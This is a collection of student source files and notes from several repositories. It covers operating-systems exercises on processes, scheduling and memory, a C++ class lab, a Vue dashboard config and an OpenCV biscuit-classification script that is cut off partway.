(* job:0 timeleft:2 tix:100 )
( job:1 timeleft:0 tix:--- )
Random 921451 -> Winning ticket 51 (of 100) -> Run 0
Jobs:
(* job:0 timeleft:1 tix:100 )
( job:1 timeleft:0 tix:--- )
```
### Q4. What happens if quantum becomes larger?
The unfairness may become larger.```
tlb.c
```/*
* Measure the size and cost of accessing a TLB
*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <unistd.h>
#include <sched.h>
#define BASE_10 10
#define MS_PER_SEC 1000000
double run_trials(int page_size, int num_pages, int trials);
int main(int argc, char *argv[])
{
long pages, trials;
double total;
int page_size;
/* get number of pages and trials */
if (argc != 3)
{
fprintf(stderr, "Usage: ./tlb <int: pages-to-touch> <int: trials>\n");
exit(EXIT_FAILURE);
}
page_size = getpagesize();
pages = strtol(argv[1], NULL, BASE_10);
trials = strtol(argv[2], NULL, BASE_10);
if (!pages || !trials)
{
fprintf(stderr, "Usage: ./tlb <int: pages-to-touch> <int: trials>\n");
exit(EXIT_FAILURE);
}
/* perform experiments */
total = run_trials(page_size, pages, trials);
printf("pages=%ld\ttrials=%ld\ttotal time=%f\n", pages, trials, total);
return 0;
}
/*
* Measure the size and cost of accessing a TLB
* @param page_size, the size of the system pages
* @param num_pages, number of pages to touch per trial
* @param trials, number times to loop through the pages
* @return the average time to access a page
*/
double run_trials(int page_size, int num_pages, int trials)
{
struct timeval start, end;
uint64_t trial_time = 0;
int tod1, tod2, elems, jump, i, j;
int *arr, arr_size;
/* initialise an array big enough to span num_pages */
elems = (page_size * num_pages) / sizeof(int);
arr = (int *)calloc(elems, sizeof(int));
/* distance to next page */
jump = page_size / sizeof(int);
/* run trials */
tod1 = gettimeofday(&start, NULL); // start time
for (j = 0; j < trials; j++)
{
for (i = 0; i < num_pages * jump; i += jump)
{
arr[i] += 1; // page access
}
}
tod2 = gettimeofday(&end, NULL); // end time
if (tod1 == -1 || tod2 == -1)
{
fprintf(stderr, "failed benchmarking time\n");
exit(EXIT_FAILURE);
}
trial_time = (end.tv_sec - start.tv_sec) * MS_PER_SEC + end.tv_usec - start.tv_usec;
free(arr);
// return trial_time;
return trial_time / (double)(num_pages * trials);
}```
summary.md
```# Segmentation
## Introduction
Instead of having just one base and bounds pair in MMU, MMU has got base and bounds pair per logical segment of the address space?
The segments don't need to be continuous. They can be put in different places in memory.

*Notice the picture above, the stack memory grows from larger address to smaller address.*
## Segments address translation
Let's see an example, assume the physical address is like below:
```
Segment Base Size Virtual Start Grows Positive
--------------------------------------------------------------
Code 32KB 2KB 0 1
Heap 34KB 2KB 4KB 1
Stack 28KB 2KB 16KB 0
```
If we've got 4 virtual addresses: 100, 4200, 7K, how do we translate these to the physical addresses?
```
100 => 32KB + 100
4200 => (4200 - 4KB) + 34KB
7KB => 7KB > 2KB(size) = Segmentation fault
```
So we can notice that stack's address translation is different from others, cause it direction is from bottom to top.
## Segments' Approches
The explicit approach is to chop up the address space into segments based on the top few bits of the virtual address.
So a virtual address with segment looks like this:

If the top two bits are `00`, the hardware knows this virtual address is in the code segment. If the top two bits are `01`, the hardware knows this virtual address is in the heap segment. If the top two bits are `11`, the hardware knows this virtual address is in the stack segment.
## Stack Segment
Until now, we don't know how to make a stack address translation. The biggest difference is that stack's address grows negatively.
Let's use the example above, if we want to access the virtual address 15KB, the translation will be like this:
1. 15KB in binary = `11 1100 0000 0000`
2. The top two bits are `11`, the offset is `1100 0000 0000`(`Ox3C00`=3KB)
3. Cause it grows negatively, so the correct offset is: `1100 0000 0000 - 1111 1111 1111 = 3KB - 4KB = -1KB`
4. The base physical address is 28KB, so the final physical address = `28KB + (-1KB) = 27KB`
## Support for Sharing
To support sharing, we need a little extra support from the hardware, in the form of **protection bits**.
```
Segment Base Size Virtual Start Grows Positive Protection
----------------------------------------------------------------------------
Code 32KB 2KB 0 1 Read-Excute
Heap 34KB 2KB 4KB 1 Read-Write
Stack 28KB 2KB 16KB 0 Read Only
```
In addition to checking whether a virtual address is within bounds, the hardware also has to check whether a particular access is permissible.
## OS Support
The OS mainly need to support two things:
* Context switches.
* Managing free space in physical memory
## Problems with Segmentation
* External fragmentation.
* Not flexible enough to support fully generalized sparse address space.
```
14.exercise-04-execle.c
```/**
* int execle(const char *path, const char *arg,..., char * const envp[]);
* path: 必须指定确定的可执行文件路径
* arg: 字符指针
* envp: 环境变量的字符指针数组
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
printf("Entering main process(pid:%d)\n", getpid()); // 可以执行
char *cmd = "./14.exercise-04-extern-env";
char *envp[] = {"AA=aa", "BB=bb", NULL};
int ret = execle(cmd, "hello", NULL, envp);
if (ret == -1)
{
perror("execle failed\n");
}
printf("exiting main..\n"); // 不执行
return 0;
}```
quesitons.md
```### Q1: Use SJF and FIFO algorithms to run 3 jobs which length is 200, calculte their turnaround time and response time.
In this case, the two algorithms are the same.
```
T(turnaround) = (200 + 400 + 600) / 3 = 400
T(response) = (0 + 200 + 400) / 3 = 200
```
### Q2: Do the same thing, but jobs' lengths are different: 100,200,300
```
SJF
T(turnaround) = (100 + 300 + 600) / 3 = 333.33
T(response) = (0 + 100 + 300) / 3 = 133.33
FIFO
In this case, it depends on the jobs' order. If the order is 100->200->300, the result is the same with SJF's, on the other hand, the results are quite different. Assume order is 200->300->100:
T(turnaround) = (200 + 500 + 600) / 3 = 433.33
T(response) = (0 + 200 + 500) / 3 = 233.33
```
### Q3: Do the same thing, use RR algorithm, and time slice is 1.
```
If the 3 jobs arrive at the same time:
T(turnaround) = (598 + 599 + 600) / 3 ≈ 599
T(response) = (0 + 1 + 2) / 3 = 1
```
### Q4: To what kind of workload, the SJF and FIFO have the same turnaround time?
The jobs order is from shortest to longest.
### Q5: To what kind of workload and time slice, the SJF and RR have the same response time?
The jobs's running time equals to the time slice.
### Q6: With the increase of job's length, what kind of response time of SJF will be like? Can you simulate the trend of it with a program?
If all jobs arrive at the same time, and their running time is the same.
The response time will increase linearly.
The simulation program is in `question-06.c`.
### Q7: With the increase of time slice, what are the changes of RR's response time? Can you write an equation to calculate the worst response time under the given conditions of N working time?
Obviously the RR's reponse time will increase.
The worst case is all jobs arrive at the same time. So only the first job can be executed at once, others will be waiting.
Assume time slice is n, in this case the average response time is :
```
Average T(response) = 0 + n + 2n + 3n + ... + n * (N - 1)
``````
14.exercise-04-extern-env.c
```/**
* 测试execle指定的环境变量
*/
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char *argv[])
{
int i;
for (i = 0; environ[i] != NULL; ++i)
{
printf("%s\n", environ[i]);
}
printf("exiting child(pid:%d)\n", getpid()); // pid与主进程相同,证明exec族的函数实际上是替换了主进程内容。
return 0;
}```
summary.md
```# Free-Space Management
## Problem
Assume we have got a large block of memory, and then we use some parts of it. There will be some fragments in the memory.
Let's see an simple example:
We used the middle 10 bytes of the whole memory, and now if a proccess requests for 15 bytes space, though the whole left space is 20 bytes, the two blocks are not continuous, so we can't allocate space for this process.

## Low-level mechanisms
### Splitting
A free list's data structure may looks like:
```
head -> {addr:0,len:10} -> {addr:20,len:10} -> NULL
```
Now there is a small space request comes, it needs only 1 bytes. The allocater will split a free chunk of memory which can satisfy the need.
The free list may change like this:
```
head -> {address:0,len:10} -> {addr:21,len:9} -> NULL
```
### Coalescing
Now if we free the middle block of memory, the free list will become like this:
```
head -> {address:10,len:10} -> {addr:0,len:10} -> {addr:20,len:10} -> NULL
```
Then the allocator will coalesce these three continuous blocks, after this, the free list will be like this:
```
head -> {address:0,len:30} -> NULL
```
As we can see the coalescing's target is to combine the continuous blocks into one.
### The structure of an allocated region

The header block is used to record the alocated memory's size and magic number. The magic number is used to check if this block can be freed or not.
The `free` api in C works like this:
```c
void free(void *ptr) {
header_t *hptr = (header_t *) ptr - 1;
...
}
```
This api's in-parameter is the pointer to the real address that can be used by the user. When we `free` it, it will release the whole block including the header block.
### The real free list
How a free list is stored in the memory?
With 3 pictures we can understand it quickly:
The first picture shows us the structure a heap with one free chunk. The whole heap size is 4KB = 4096, but the size counld be allocated is 4088, cause the heap's head takes 8 bytes.

The second picture shows us the difference after some space is allocated. As shown in the picture, the heap's header moved down.

The third picture shows if there are multiple allocated parts in the heap. The more parts are splited, the real space which can be used will decrease, cause there are too many headers.

### Free the memory in real
If we try to free a block in the heap, the steps are:
1. Call `free` api, pass `sptr` to the api.
2. The api finds the `head` address.
3. Change the header's infomation and release the allocated space.
4. Move this part to the header of the free list.
5. At last, the allocator need to do a coalescing.

## Basic Strategies
* Best fit. Searches through the free list and find chunks of free memory that are as big or bigger than the requested size.
* Worst fit. Finds the largest chunk and return the requested amount.
* First fit. Finds the first fit block in the list.
* Next fit. Keeps an extra pointer to the location that was looking last time, and starts from here. Thus, it doesn't need to start from the first each time.
## Other Approaches
### Segregated Lists
If a particular application has one (or a few) popular-sized request that it makes, keep a separate list just to manage objects of that size; all other requests are forwarded to a more general memory allocator.
### Buddy Allocation
In such a system, free memory is first conceptually thought of as one big space of size 2^N. When a request for memory is made, the search for free space recursively divides free space by two until a block that is big enough to accommodate the request is found (and a further split into two would result in a space that is too small).
The example is like blow:

```
18.exercise-08.c
```/**
* @Answer 创建两个子进程,并使用pipe()系统调用,将一个
* 子进程的标准输出连接到另一个子进程的标准输入。
*
*
int pipe(int fds[2]);
Parameters :
fd[0] will be the fd(file descriptor) for the
read end of pipe.
fd[1] will be the fd for the write end of pipe.
Returns : 0 on Success.
-1 on error.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MSGSIZE 64
int main()
{
int fd[2];
int nbytes;
char inbuf[MSGSIZE];
int status;
pid_t c_pid;
if (pipe(fd) < 0)
{
exit(1);
}
// Child process will write
c_pid = fork();
if (c_pid == 0)
{
close(fd[0]);
printf("Child process is writing.\n");
char *msg = "Hello, this message is from child.";
write(fd[1], msg, MSGSIZE);
printf("Child process finished writing.\n");
}
// Parent process will read
else if (c_pid > 0)
{
wait(NULL);
close(fd[1]);
printf("Parent process is reading.The message is below:\n");
while ((nbytes = read(fd[0], inbuf, MSGSIZE)) > 0)
{
printf("%s\n", inbuf);
}
if (nbytes != 0)
{
exit(2);
}
printf("Parent process finished reading.\n");
}
return 0;
}```
summary.md
```# Sheduling: Multi-level Feedback Queue
## What's MLFQ?
This algorithm tries to solve two kinds of problems:
1. Optimize the turnaround time.
2. In order to bring great interactive experience to the users, it also needs to decrease the response time.
And on this occasion, we don't have any workloads which means the sheduler knows nothing about the jobs: how long they will run, do they need I/O or not, and so on.
So the key of MLFQ is predict the future according to the history. Sounds really magical? In fact, it's just a dynamic mechanism that can change the jobs' running priorities due to each job's running features.
MLFQ is composed with several queues, and these queues have different priorities. When jobs arrive, they will be put into the highest prioty queue(top queue). After the job uses the allocated time in each queue, it will be put into the lower priority queue. And every a period of time, all jobs are put into the top queue again.
## Five rules
1. If A's priority > B's priority, runs A(B's not running).
2. If A's prioity = B's priority, runs A and B in turnaround.
3. When a job arrives, put it into top queue(highest priority).
4. If a job runs out of the allocated time in one level, it will be moved to the lower level.
5. Every period of time S, all jobs will be put into the top queue again.
The advantages of this algorithm is:
1. No need to know a job's foregoing knowledges. Arrange through oberve.
2. Able to fit different kinds of jobs. If a job is interactive and uses short time, the performance is similar to SFJ/STCF. If a job is CPU densely and uses long time, it also can be executed in a fair and stable way.
Many systems use MLFQ as basic shedulers, including BSD UNIX[LM+89,B86], Solaris[M06] and Windows NT alongwith the latter systems.```
17.exercise-07.c
```/**
* @Question 编写一个创建子进程的程序,然后在子进程中关闭标准输出(STDOUT_FILENO)。
* 如果子进程在关闭描述符后调用printf()打印输出,会发生什么?
*/
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char *argv[])
{
pid_t c_pid = fork();
if (c_pid == 0)
{
printf("Hello, before close STDOUT_FILENO,child pid(%d)\n", getpid()); // 正常打印
close(STDOUT_FILENO);
printf("Hello, after close STDOUT_FILENO\n"); // 并不会打印出来
sleep(2);
exit(200);
}
else if (c_pid > 0)
{
int status;
waitpid(c_pid, &status, 0);
if (WIFEXITED(status) > 0) // 正常结束
{
printf("Child exited with code %d\n", WEXITSTATUS(status));
}
else if (WIFSIGNALED(status))
{
printf("Child terminated abnormally, signal %d\n", WTERMSIG(status));
}
printf("Exited parent process(pid:%d)\n", getpid());
}
}```
question.md
```### 1. Write a program named `null.c`, it creates an int pointer and set its value to `NULL`, then try to free its memory, what will happen?
See `null.c`. Nothing happens. The `NULL`'s address is always `0x0`.
```
01.process-fork.c
```#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
printf("hello world (pid:%d)\n", (int)getpid());
/**
* Parent process will get the number of child process's pid,
* and the child process will get 0 here.
*
* Processes's running order depends on the `OS scheduler`.
*/
int rc = fork(); // The child process's code starts from here.
if (rc < 0)
{
fprintf(stderr, "fork failed\n");
}
else if (rc == 0)
{
printf("hello,I am child (pid:%d)", (int)getpid());
}
else
{
printf("hello,I am parent of %d (pid:%d)\n", rc, (int)getpid());
}
return 0;
}
```
07.exercise-02.c
```/**
* @Question 编写一个打开文件的程序(使用open()系统调用),然后调用fork()创建一个新进程。
* 子进程和父进程都可以访问open()返回的文件描述符吗?
* 当他们并发写入文件时会发生什么?
*
* @Answer
* 1. 都能访问文件描述符
* 2. 会根据父进程和子进程执行的先后顺序向文件中写入数据
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <string.h>
int main(int argc, char *argv[])
{
close(STDOUT_FILENO);
int fd = open("./exercise-07.txt", O_CREAT | O_WRONLY | O_TRUNC, S_IRWXU);
int rc = fork();
if (rc < 0)
{
fprintf(stderr, "fork failed\n");
}
else if (rc == 0)
{
printf("hello, this is child process, I am writing the file.."); // 不执行
char *myargs[3];
myargs[0] = strdup("wc");
myargs[1] = strdup("07.exercise-02.c");
myargs[2] = NULL;
execvp(myargs[0], myargs);
}
else
{
printf("hello, this is parent process, I am writing the file.."); // 不执行
char *myargs[3];
myargs[0] = strdup("wc");
myargs[1] = strdup("06.exercise-01.c");
myargs[2] = NULL;
execvp(myargs[0], myargs);
}
return 0;
}```
question-06.c
```#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
int jobs_num = atoi(argv[1]);
int jobs_len = atoi(argv[2]);
int average_response = 0;
for (int i = 0; i < jobs_num; i++)
{
average_response = average_response + i * jobs_len;
}
average_response = average_response / jobs_num;
printf("Average response time of %d jobs at length of %d is: %d\n", jobs_num, jobs_len, average_response);
}```
|
10N1ceTry07/homework-2019
|
10N1ceTry07/homework-2019
parfum.h
```#ifndef LAB4_PARFUM_H
#define LAB4_PARFUM_H
#include<string>
#include<iostream>
using namespace std;
class parfum {
private:
string name;
int volume;
int price;
protected:
string color;
string smell;
public:
string country;
int alcohol;
parfum();
parfum(int parfumvolume, string parfumname, int parfumprice, string parfumcolor, string parfumsmell);
int getPrice();
string getColor();
string getName();
int getVolume();
string getSmell();
void get_information();
~parfum();
};
#endif```
main.cpp
```#include "parfum.h"
#include <iostream>
using namespace std;
int main() {
parfum first (50, "Clive Christian V For Men", 6791, "brown", "nutmeg");
first.country = "United Kingdom";
first.get_information();;
cout<<"Country:"<<first.country<<endl;
first.alcohol = 80;
cout<<"Alcohol percent:"<<first.alcohol<<'%'<<endl;
parfum second (100, "Bond No9 Queens", 3503, "purple", "blackberry");
second.country = "USA";
second.get_information();
cout<<"Country:"<<second.country<<endl;
second.alcohol = 85;
cout<<"Alcohol percent:"<<second.alcohol<<'%'<<endl;
parfum third (100, "Lanvin Arpege", 839, "orange", "peach");
third.country = "France";
third.get_information();
cout<<"Country:"<<third.country<<endl;
third.alcohol = 90;
cout<<"Alcohol percent:"<<third.alcohol<<'%'<<endl;
}```
parfum.cpp
```#include "parfum.h"
using namespace std;
parfum::parfum(){
volume;
name;
price;
color;
smell;
}
parfum:: parfum(int parfumvolume, string parfumname, int parfumprice, string parfumcolor, string parfumsmell){
volume=parfumvolume;
name=parfumname;
price=parfumprice;
color=parfumcolor;
smell=parfumsmell;
}
int parfum::getVolume(){
return volume;
}
string parfum::getName(){
return name;
}
int parfum::getPrice(){
return price;
}
string parfum::getColor(){
return color;
}
string parfum::getSmell(){
return smell;
}
void parfum::get_information(){
cout<< "\nName of parfum is " <<"\""<<getName() << "\"" <<" |"<<
" Volume is " << getVolume() << " |"<<
" Price is " << getPrice() <<" |"<<
" Color is " << getColor() <<" |"<<
" Smell is " << getSmell() << "\n";
}
parfum::~parfum(){}```
|
1107705933aa/nfsq-large-screen
|
1107705933aa/nfsq-large-screen
utils.js
```export const formatNumToArr = (testnum, len = 2) => {
const list = [parseInt(testnum % 10)]; // 去个位数的值
// 判断是否是大于个位数的值
if (len > 1) {
// 对数字进行循环并存入数组中
for (let i = 2; i <= len; i += 1) {
list.push(
parseInt(
(testnum % Number(1 + "0".repeat(i))) / Number(1 + "0".repeat(i - 1))
) // repeat是将字符0复制为多少个
);
}
list.reverse(); // 将数组进行反转,得到正确的数组
}
return list;
};
```
highcharts.js
```import Highcharts from "highcharts/highstock";
import HighchartsMore from "highcharts/highcharts-more";
import Highcharts3D from "highcharts/highcharts-3d";
HighchartsMore(Highcharts);
Highcharts3D(Highcharts);
```
main.js
```import Vue from "vue";
import App from "./App.vue";
import router from "./router";
import store from "./store";
import "./plugins/element";
import "./plugins/highcharts";
import "./plugins/axios"; // 导入axios
import "./api/index"; // 导入api
Vue.prototype.modeHome = process.env.VUE_APP_MODE;
Vue.prototype.refreshTime = 180000;
// Vue.prototype.modeHome = process.env.MODE_HOME;
// console.log(process.env);
// console.log(process.env.VUE_APP_URL);
Vue.config.productionTip = false;
new Vue({
router,
store,
render: h => h(App)
}).$mount("#app");
```
axios.js
```/**
* axios的拦截器处理
* */
import Vue from "vue";
import axios from "axios";
const createConfig = {};
//
const axiosCreate = axios.create(createConfig);
// axios安装配置
Plugin.install = pluInstall => {
const VueInstall = pluInstall;
VueInstall.axios = axiosCreate;
window.axios = axiosCreate;
Object.defineProperties(VueInstall.prototype, {
axios: {
get() {
return axiosCreate;
}
},
$axios: {
get() {
return axiosCreate;
}
}
});
};
// 将axios安装入vue中
Vue.use(Plugin);
export default Plugin;
```
index.js
```import Vue from "vue";
import VueRouter from "vue-router";
import Home from "../views/Home.vue";
Vue.use(VueRouter);
const routes = [
{
path: "/",
name: "Home",
component: Home
},
// 头部
{
path: "/header",
name: "Header",
component: () =>
import(/* webpackChunkName: "header" */ "../views/Header.vue")
},
// 时间
{
path: "/time",
name: "Time",
component: () =>
import(/* webpackChunkName: "header" */ "../views/Time.vue")
},
// 样品登录
{
path: "/sampleRegister",
name: "SampleRegister",
component: () =>
import(
/* webpackChunkName: "sampleRegister" */ "../views/SampleRegister.vue"
)
},
// 年度样品合格率
{
path: "/yearPassRate",
name: "YearPassRate",
component: () =>
import(/* webpackChunkName: "yearPassRate" */ "../views/YearPassRate.vue")
},
// 年度样品数量
{
path: "/yearNumber",
name: "YearNumber",
component: () =>
import(/* webpackChunkName: "yearNumber" */ "../views/YearNumber.vue")
},
// 今日样品数量
{
path: "/todayNumber",
name: "TodayNumber",
component: () =>
import(/* webpackChunkName: "todayNumber" */ "../views/TodayNumber.vue")
},
// 月度样品合格率
{
path: "/monthPassRate",
name: "MonthPassRate",
component: () =>
import(
/* webpackChunkName: "monthPassRate" */ "../views/MonthPassRate.vue"
)
},
// 月度样品数量
{
path: "/monthNumber",
name: "MonthNumber",
component: () =>
import(/* webpackChunkName: "monthNumber" */ "../views/MonthNumber.vue")
},
// 工厂分布
{
path: "/factoryDistribute",
name: "FactoryDistribute",
component: () =>
import(
/* webpackChunkName: "factoryDistribute" */ "../views/FactoryDistribute.vue"
)
}
];
const router = new VueRouter({
// mode: "history",
base: process.env.BASE_URL,
routes
});
export default router;
```
index.js
```/**
*后端接口api
* */
import Vue from "vue";
const apiUrl = "/lims";
const API = {
// 年度样品合格率
YearOrdersPercent: apiUrl + "/lims1/screen/selectYearOrdersPercent",
// 年度样品数量
YearOrdersCount: apiUrl + "/lims1/screen/selectYearOrdersCount",
// 今日样品数量
DayOrdersCount: apiUrl + "/lims1/screen/selectDayOrdersCount",
// 月度样品合格率
MonthOrdersPercent: apiUrl + "/lims1/screen/selectMonthOrdersPercent",
// 月度样品数量
MonthOrdersCount: apiUrl + "/lims1/screen/selectMonthOrdersCount",
// 中间内容部分
CentreInformation: apiUrl + "/lims1/screen/selectCentreInformation"
};
Vue.prototype.$API = API;
```
vue.config.js
```/**
* vue webpack主配置文件
* */
module.exports = {
publicPath: process.env.VUE_APP_PUBLIC,
// 打包文件目录地址
outputDir: "dist",
// 放置生成的静态资源 (js、css、img、fonts) 的 (相对于 outputDir 的) 目录
assetsDir: "static",
lintOnSave: true, // 是否开启eslint保存检测 ,它的有效值为 true || false || 'error'\
productionSourceMap: false, // 是否在构建生产包时生成 sourceMap 文件,false将提高构建速度
pages: {
index: {
// page 的入口
entry: "src/main.js",
// 模板来源
template: "public/index.html",
// 在 dist/index.html 的输出
filename: "index.html",
// 当使用 title 选项时,
// template 中的 title 标签需要是 <title><%= htmlWebpackPlugin.options.title %></title>
title: "农夫山泉QMS系统展示平台",
// 在这个页面中包含的块,默认情况下会包含
// 提取出来的通用 chunk 和 vendor chunk。
chunks: ["chunk-vendors", "chunk-common", "index"]
}
// 当使用只有入口的字符串格式时,
// 模板会被推导为 `public/subpage.html`
// 并且如果找不到的话,就回退到 `public/index.html`。
// 输出文件名会被推导为 `subpage.html`。
// subpage: "src/subpage/main.js"
},
/* 配置 webpack-dev-server 行为 */
devServer: {
// 当出现编译器错误或警告时,在浏览器中同时显示警告和错误
overlay: {
warnings: true,
errors: true
},
open: true, // 告诉 dev-server 在 server 启动后打开浏览器
host: "localhost", // 指定使用一个 host
port: 1278, // 指定要监听请求的端口号
https: false, // 是否指定 dev-server 通过 HTTP 提供服务
hotOnly: false, // 是否启用热模块替换
/* 后端开发服务器 API 配置 target:重写路径 ws:代理服务器交互 */
proxy: {
"/nfsq": {
// 后端接口
target: process.env.VUE_APP_URL,
changeOrigin: true,
pathRewrite: {
"^/nfsq": ""
}
}
}
}
};
```
|
111-www/login
|
111-www/login
shop.java
```package com.yueqian.shop;
public class shop {
public static void main(String[] args) {
System.out.println("正在购物");
}
void fun(){
System.out.println("购物完成");
}
}
```
|
111012asd/hunzhang
|
111012asd/hunzhang
README.md
```# hunzhang
111012asd
```
|
1134260838/datasci
|
1134260838/datasci
README.md
```# datasci
used for datasci homework
```
|
1174068265/YouChat
|
1174068265/YouChat
README.md
```# YouChat
聊天工具
```
|
11BelowStudio/ce316labs
|
11BelowStudio/ce316labs
bikky
```#!/usr/bin/env python3
"""A bare-bones program to help you identify broken biscuits, to be used in
conjunction with the images of CE316/CE866 experiment 4. You should run this
program with one or more images on the command line, and it processes each of
them in turn. The processing is as follows:
1. the image is read in as grey-scale
2. it is thresholded using a fixed value
3. the resulting binary image is tidied up using morphological operations
4. contours are found around each foreground object
5. each contour is processed
6. some text is written on the image
You have two jobs to do:
+ Improve the thresholding stage so it generates identifies individual
biscuits more reliably.
+ Determine whether a biscuit is circular, rectangular or broken and
write that into the image.
"""
import sys, numpy, cv2, math
def handleShowingStuff():
key = cv2.waitKey(0)
# quit if escape (27) or q (113) are pressed
if key == 27 or key == 113:
cv2.destroyAllWindows()
print("quitting!")
sys.exit(0)
# Set up the threshold.
threshold = 100
# The size of the mask use for open and close.
mask_size = 9
# The font we'll use to write on the image.
font = cv2.FONT_HERSHEY_SIMPLEX
# Ensure we have some images to process.
if len (sys.argv) < 2:
print ("Usage: %s <biscuit-image>..." % sys.argv[0], file=sys.stderr)
exit (1)
if sys.argv[1] == "k":
sys.argv = sys.argv[:1]
for i in range(1,10):
temp = "biscuit-00" + str(i) + ".jpg"
sys.argv.append(temp)
temp = "biscuit-05" + str(i) + ".jpg"
sys.argv.append(temp)
temp = "biscuit-07" + str(i) + ".jpg"
sys.argv.append(temp)
temp = "biscuit-20" + str(i) + ".jpg"
sys.argv.append(temp)
# Iterate over the image names given on the command line.
for fn in sys.argv[1:]:
# Read in the image as monochrome and binarize it by thresholding.
print (fn + ":")
im = cv2.imread (fn, cv2.IMREAD_GRAYSCALE)
#cv2.imshow("raw", im)
blur = cv2.GaussianBlur(im, (5, 5), 0)
#handleShowingStuff()
#ret, bim = cv2.threshold (im, threshold, 255, cv2.THRESH_BINARY)
#ret, bim = cv2.threshold(im, threshold, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
#blur = cv2.GaussianBlur(im, (7,7), 0)
#cv2.imshow("blurred", blur)
#cv2.waitKey(0)
#cv2.imshow("blurred", blur)
#handleShowingStuff()
ret, bim1 = cv2.threshold(blur, threshold, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
print(ret)
canny = cv2.Canny(blur, ret, ret)
#cv2.imshow("canny", canny)
#handleShowingStuff()
#cv2.imshow("bim1", bim1)
#handleShowingStuff()
bim2 = cv2.adaptiveThreshold(blur, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C,
cv2.THRESH_BINARY_INV, 15, 11)
#cv2.imshow("bim2", bim2)
# cv2.waitKey(0)
#handleShowingStuff()
kernel = numpy.ones((3, 3), numpy.uint8)
bim2e = cv2.morphologyEx(bim2, cv2.MORPH_CLOSE, kernel)#, iterations= 5) #cv2.dilate(bim2, kernel)
#cv2.imshow("dilated bim2", bim2e)
#handleShowingStuff()
bim2g = cv2.morphologyEx(bim2e, cv2.MORPH_GRADIENT, kernel)# iterations=5)
#cv2.imshow("gradient bim2e", bim2g)
#handleShowingStuff()
#bima = cv2.subtract(bim1, bim2g)
#cv2.imshow("bima", bima)
bima = cv2.subtract(bim1, canny)
bim = cv2.morphologyEx(bima, cv2.MORPH_CLOSE, kernel)# numpy.ones((3, 3), numpy.uint8))
#cv2.imshow("bim", bim)
#handleShowingStuff()
bim = cv2.morphologyEx(bim, cv2.MORPH_CLOSE, numpy.ones((9, 9), numpy.uint8))
#cv2.imshow("bim more", bim)
#handleShowingStuff()
"""
bim1_floodfill = bim1.copy()
h, w = bim1.shape[:2]
mask = numpy.zeros((h+2,w+2), numpy.uint8)
cv2.floodFill(bim1_floodfill, mask, (0,0), 255)
bim1_ff_inv = cv2.bitwise_not(bim1_floodfill)
bim1_out = bim1_floodfill | bim1_ff_inv
cv2.imshow("floodfill", bim1_floodfill)
cv2.imshow("not floodfill", bim1_ff_inv)
cv2.imshow("Foreground", bim1_out)
handleShowingStuff()
cv2.destroyAllWindows()
"""
""""
bim2 = cv2.adaptiveThreshold(blur, 255, cv2.ADAPTIVE_THRESH_MEAN_C,
cv2.THRESH_BINARY, 15, 11)
cv2.imshow("bim2", bim2)
#cv2.waitKey(0)
handleShowingStuff()
bim12 = cv2.add(bim1, bim2)
cv2.imshow("bim1+bim2", bim12)
notbim12 = cv2.bitwise_not(bim12)
cv2.imshow("not bim1+bim2", notbim12)
bimA = cv2.subtract(bim1, bim2, mask = bim1)
cv2.imshow("bimA", bimA)
#bim2flood = cv2.floodFill(bim2, notbim12, (0,0), 255)
#cv2.imshow("bim2flood", bim2flood)
#bimA = cv2.bitwise_not(bimA)
#bimA = cv2.add(bim1, bim2, mask = bim1)
#cv2.imshow("not bimA", bimA)
#cv2.waitKey(0)
handleShowingStuff()
bimB = cv2.subtract(bim2, bim1)#, mask=bim2)
#bimB = cv2.add(bim2, bim1, mask = bim2)
cv2.imshow("bimB", bimB)
bim2minusB = cv2.subtract(bim2, bimB)
cv2.imshow("bim2 - bimB", bim2minusB)
bim2mBpB = cv2.add(bim2minusB, bimB)
cv2.imshow("bimB + (bim2-bimB)", bim2mBpB )
handleShowingStuff()
element = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (23, 23), (11,11))
dilated_bim2minusB = cv2.dilate(bim2minusB, element)
cv2.imshow("Dilated bim2-bimB", dilated_bim2minusB)
blur2mB = cv2.blur(bim2minusB,(7,7),0)
cv2.imshow("blurred bim2-bimb", blur2mB)
bim = cv2.add(bim1, bimA)
cv2.imshow("bimB + bimA", bim)
#bim = dilated_bim2minusB
#bim = cv2.add(bim1, bimA)
cv2.imshow("~~bimB + bimA~~ bim", bim)
bim = cv2.bitwise_not(bim)
cv2.imshow("not bim", bim)
#bim = cv2.GaussianBlur(bimA, (11, 11), 0)
#cv2.imshow("blurred bimA", bim)
cv2.waitKey(0)
handleShowingStuff()
"""
# Tidy up the binary image by deleting small regions and filling in gaps.
kernel = numpy.ones ((9, 9), numpy.uint8)
bim = cv2.morphologyEx (bim, cv2.MORPH_OPEN, kernel)
#cv2.imshow("bim open", bim)
#handleShowingStuff()
bim = cv2.morphologyEx (bim, cv2.MORPH_CLOSE, kernel)
#cv2.imshow("bim close", bim)
#handleShowingStuff()
bim = cv2.GaussianBlur(bim, (3,3),0)
#cv2.imshow("bim blur", bim)
#handleShowingStuff()
# Find contours and print them out.
contours, _ = cv2.findContours (bim, cv2.RETR_EXTERNAL,
cv2.CHAIN_APPROX_SIMPLE)
for (i, c) in enumerate (contours):
print (" length of contour %d: %d" % (i, len(c)))
# Look on the web for how to obtain descriptions of contours; the site
# https://docs.opencv.org/master/dd/d49/tutorial_py_contour_features.html
# is one such place. Calculate features that will categorize a biscuit's
# contour as "circular", "rectangular" or "broken" and store that in
# the variable "outcome".
outcome = "biscuit"
if len(contours) == 0:
outcome = "no biscuit"
elif len(contours) > 1:
outcome = "broken"
else:
cnt = contours[0]
m = cv2.moments(cnt)
#print(m)
cx = int(m['m10']/m['m00'])
cy = int(m['m01']/m['m00'])
center = (cx, cy)
area = m['m00'] #area from the moments
